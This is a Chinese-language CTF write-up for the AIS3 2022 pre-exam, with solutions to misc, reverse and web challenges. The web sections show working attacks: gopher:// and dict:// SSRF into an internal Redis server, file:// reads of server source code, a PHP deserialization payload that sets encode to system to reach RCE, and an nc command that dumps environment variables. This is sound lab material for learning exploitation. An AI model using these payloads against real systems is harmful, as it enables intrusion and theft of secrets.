Score Board
Welcome
Welcome
題目
Flag
AIS3{WTF did I just see the FLAG before CTF starts?}
Misc
Excel
題目
解題
Flag
AIS3{XLM_iS_to0_o1d_but_co0o0o00olll!!}
Gift in the dream
題目
解題
binwalk gift_in_the_dream.gif
一下發現啥都沒有。
strings gift_in_the_dream.gif
一下看到一堆重複出現的奇怪字串,應該是提示。
通靈一下發現應該要用 identify 把每個幀數間的間距時間抓出來應該就是 flag 了。
Script
#!/bin/bash
for a in $(identify -format "%s %T \n" gift_in_the_dream.gif | awk '{print $2}')
do
printf "%02X" $a | xxd -r -p
done
Flag
AIS3{5T3gn0gR4pHy_c4N_b3_fUn_s0m37iMe}
Knock
題目
解題
原本以為是 Web 題,後來想想又好像不對,request 抓出來改用 curl 跑。
curl -X POST http://chals1.ais3.org:13337/ -d 'token=<token>'
回傳的東西都是
<p>I have knock on the <ip></p>
於是馬上開 wireshark
果然,而且 dest port 明顯很像 ascii,應該接起來就 flag 了。
Script
iptables
iptables -I INPUT 1 -i ais3pre2022 -p udp -s 10.113.203.111 -j LOG --log-prefix "FORAIS3"
rsyslog
if $msg contains "FORAIS3" then {
^<script path>
stop
}
shell script
#!/bin/bash
splitinspace()
{
for a in $(cat $1)
do
echo $a
done
}
port=`echo $1 | splitinspace | grep DPT | cut -c 5- | sed 's/12//g'`
echo "$(cat /tmp/output)$(printf "%02X\n" $(python3 -c "print(int('$port'))") | xxd -r -p)" > /tmp/output
執行結果
root@jimmyGW:~# curl -X POST http://chals1.ais3.org:13337/ -d 'token=<token>'
<p>I have knock on the <ip></p>
root@jimmyGW:~# vi /tmp/output
Flag
AIS3{kn0ckKNOCKknock}
JeetQode
題目
解題
這題就 judge 而已,只是要用 jq,老實說 jq 我一直都有再用,但用這麼深還是第一次。 到 JQ 的 document 找可以用的指令然後實現題目要求這樣而已(code 有點長因為沒規定長度所以沒特別壓)。
Code
. == (explode | reverse | implode)
walk(if type == "object" then (setpath(["tmp"]; .left) | setpath(["left"]; .right) | setpath(["right"]; .tmp) | delpaths([["tmp"]])) else . end)
.body | walk(if type == "object" and (has("value") | not) then (if ([.op] | contains(["Add"])) then setpath(["value"]; (.left.value + .right.value)) else (if ([.op] | contains(["Sub"])) then setpath(["value"]; (.left.value - .right.value)) else (if ([.op] | contains(["Mult"])) then setpath(["value"]; (.left.value * .right.value)) else (if ([.op] | contains(["Div"])) then setpath(["value"]; (.left.value / .right.value)) else . end) end) end) end) else . end) | .value
Flag
AIS3{pr0gramm1ng_in_a_json_proce55in9_too1}
Seadog’s Webshell
題目
Important Source Code
#!/bin/sh
exec 2>/dev/null
base64 | timeout 10s sh
解題
送進去的 code 必須同時符合 base64 的格式將其解碼送進去,因此 script 就用 echo "//bin/ls" | base64 -d
然後再 pipe 進 nc,並且用絕對路徑,這樣就可以用 /
填空位。
然而卻發現怎麼試都沒反應,因此用自己機器試了一下,發現 nc 沒送 eof,所以加了個 -q 1
。
echo "//bin/ls" | base64 -d | nc -q 1 chals1.ais3.org 12369
成功
最後因為 flag 在 environment (根據 docker-ccompose.yml) 所以執行
echo "/usr/bin/env" | base64 -d | nc -q 1 chals1.ais3.org 12369
Flag
AIS3{ZXNjYXBpbmdfYmFzZTY0X3dpdGhfZW9m}
Reverse
Calculator
題目
解題
dnspy 看 Extension.AIS3 到 AIS3333 這幾個 dll 然後按照 Operate method 內的規則將 Flag 一個字一個自填完。
Flag
AIS3{D0T_N3T_FRAm3W0rk_15_S0_C0mPlicaT3d__G_G}
Strings
題目
解題
既然叫 strings 那就先 strings 一次
噴出來的 flag 是假的,但也是提示
把阿姨開起來打開 String view 搜假 flag 點兩下到 IDA View 接著 .data.rel.ro:000055CBACEDDDB0
點兩下跳過去,然後再網上一點可以看到 off_55CBACEDDDA0
(應該是變數名稱ㄅ) 點兩下 strings::main::h34e687dfba9cc523
就能直達主程式的地方
F5 反編譯然後開始跑 Debug
可以看到有一個 core::str::_$LT$impl$u20$str$GT$::split
這應該是 Rust 寫的,可以看到有一個 "_"
參數,應該是用 "_"
去拆分字串
而後來在走到這邊時得到確認 if ( alloc::vec::Vec$LT$T$C$A$GT$::len::hd32fa3309483c80e(v41) == 11 )
代表 split 後的字串要有 11 個
if ( (core::cmp::impls::_$LT$impl$u20$core..cmp..PartialEq$LT$$RF$B$GT$$u20$for$u20$$RF$A$GT$::ne::h0948eadbdbca5c0e( v25, &(&off_55CBACEDDDA0)[2 * v21]) & 1) != 0 )
這邊的話應該是 v25 != &(&off_55CBACEDDDA0)[2 * v21]
的話就算 incorrect flag
而 v21
則是從上面一個 dest
array 來的
dest
array 的內容是 [0x0, 0x4, 0x10, 0xD, 0xA, 0x4, 0x8, 0x7, 0x1, 0x2, 0x12]
換 10 進的話是 [0, 4, 16, 13, 10, 4, 8, 7, 1, 2, 18]
再找切分依據找了一陣子,最後有注意到 if ( v21 >= 0x13 )
符合的話會跑一個程式而且 Array 最後也是 18 而且剛好只有 11 個,我猜應該是最多只有 18 組。
回到 off_55CBACEDDDA0
的 IDA View 時,又注意到它這邊有分 18 行,每行剛好就前進一個單字,除了第一個 “AIS3{” 跟最後一個 “}”
於是我認為它的切分應該是長這樣 AIS3{_good_luck_finding_the_flags_value_using_strings_command_guess_which_substring_is_our_actual_answer_lmaoo_}
接著就簡單了,按照 dest 一個一個接回來送 ./strings 也回 correct flag 這樣就解掉了
Flag
AIS3{_the_answer_is_guess_the_strings_using_good_luck_}
Web
Poking Bear
題目
解題
網頁內容是你可以選一隻 bear poke,但你要 poke 到 SECRET BEAR 才能拿到 Flag,但是 SECRET BEAR 的 bear id 他是隱藏的,然而第一隻到最後一隻的 id 是 5-999 那就用最原始的方式爆掃一波。
#!/bin/bash
> /tmp/output
for a in $(seq 1 1 1000)
do
echo "$a: $(curl -X POST http://chals1.ais3.org:8987/poke -d "bear_id=$a")" >> /tmp/output &
done
找與眾不同的那個
grep -v "You shouldn't poke a cat!" /tmp/output | grep -v "Poked, but nothing happened!"
他說你不是 bear poker
八成要改 cookie。
curl -X POST http://chals1.ais3.org:8987/poke --header "cookie: human=\"bear poker\"" -d "bear_id=499"
Flag
AIS3{y0u_P0l<3_7h3_Bear_H@rdLy><}
Private Browsing
題目
解題
看起來是很經典的 ssrf 雖說前端鎖定 http[s]
但後端沒鎖,所以直接用 /api.php
做 ssrf。
先 http://chals1.ais3.org:8763/api.php?action=view&url=file:///proc/net/tcp
看有那些機器可以打。
可以看到 server 頻繁的對 192.168.224.2:6379
做存取
google 查到 tcp 6379 port 是 redis
http://chals1.ais3.org:8763/api.php?action=view&url=dict://192.168.224.2:6379/info
證實了是 redis。
但資訊依然不夠,因此抓 source code http://chals1.ais3.org:8763/api.php?action=view&url=file:///var/www/html/api.php
有一個 require_once 'session.php'
把他抓下來 http://chals1.ais3.org:8763/api.php?action=view&url=file:///var/www/html/session.php
經過長時間的閱讀後可以發現他會將 cookie sess_id
作為 key,現在所用的 BrowsingSession
class serialize 後儲存到 redis 格式是長這樣 O:15:"BrowsingSession":1:{s:7:"history";a:1:{i:0;s:19:"https://google.com/";}}
這就是他做 history 的方式。
這樣的話就可以用這隻 script 建立 payload (dict 的話冒號會不見)
from urllib.parse import quote
import sys
tcp_payload = sys.argv[2]
ip = sys.argv[1]
url = f"gopher://{ip}:6379/_{quote(tcp_payload)}"
print(url)
但是 BrowsingSession
並沒有可以利用這點做 RCE 的地方,因為他只有一個 history
的 variable 並作為 array 做存取。
發現 SessionManager
的 encode
跟 decode
是 variable function 執行位置是在 get()
跟 __destruct()
(解構子)
原本是著利用 get()
做 RCE 因為外層的 SessionManager
再跑 $session->push
會用 __call()
return 的 class 去執行 push
而 get()
的內容是 val
有東西就直接 return,redis 內有東西就直接 decode redis 的 value,都沒就建一個,而存在 redis 的東西被使用 gopher://192.168.224.2:6379/_SET%20fc57bda95a5184e55555%20%22O%3A14%3A%5C%22SessionManager%5C%22%3A3%3A%5C%7Bs%3A3%3A%5C%22val%5C%22%3BN%3Bs%3A6%3A%5C%22decode%5C%22%3Bs%3A6%3A%5C%22system%5C%22%3Bs%3A6%3A%5C%22sessid%5C%22%3Bs%3A4%3A%5C%22code%5C%22%3B%5C%7D%22
改成 O:14:"SessionManager":3:{s:3:"val";N;s:6:"decode";s:6:"system";s:6:"sessid";s:4:"code";}
所以他會跑內部的 SessionManager
的 __call()
然後 call get()
因為 val
是 null 所以會找 redis,因 redis 的 value 有用 dict://192.168.224.2:6379/SET%20code%20%22ls%22
設 code
為 ls
的 command 且 decode
被改成 system
所以會 RCE。
然而忽略了一點是 get()
內的 redis 是 $this
下面的而非 global
而 connect 後的 redis 無法用 unserialize
製造,所以用 get()
RCE 會是失敗的。
後來想到如果成是 error 內部的 SessionManager
也會做 __destruct()
因此用 gopher://192.168.224.2:6379/_SET%20fc57bda95a5184e55555%20%22O%3A14%3A%5C%22SessionManager%5C%22%3A3%3A%5C%7Bs%3A3%3A%5C%22val%5C%22%3Bs%3A2%3A%5C%22ls%5C%22%3Bs%3A6%3A%5C%22encode%5C%22%3Bs%3A6%3A%5C%22system%5C%22%3Bs%3A6%3A%5C%22sessid%5C%22%3Bs%3A4%3A%5C%22code%5C%22%3B%5C%7D%22
將其設為 O:14:"SessionManager":3:{s:3:"val";s:2:"ls";s:6:"encode";s:6:"system";s:6:"sessid";s:4:"code";}
然後將 cookie 切為 fc57bda95a5184e55555
然後隨便看一個 url 可以發現成功 RCE。
用gopher://192.168.224.2:6379/_SET%20fc57bda95a5184e55555%20%22O%3A14%3A%5C%22SessionManager%5C%22%3A3%3A%5C%7Bs%3A3%3A%5C%22val%5C%22%3Bs%3A9%3A%5C%22/readflag%5C%22%3Bs%3A6%3A%5C%22encode%5C%22%3Bs%3A6%3A%5C%22system%5C%22%3Bs%3A6%3A%5C%22sessid%5C%22%3Bs%3A4%3A%5C%22code%5C%22%3B%5C%7D%22
將其設為 O:14:"SessionManager":3:{s:3:"val";s:9:"/readflag";s:6:"encode";s:6:"system";s:6:"sessid";s:4:"code";}
然後將 cookie 切為 fc57bda95a5184e55555
便可以看到 flag。
Flag
AIS3{deadly_ssrf_to_rce}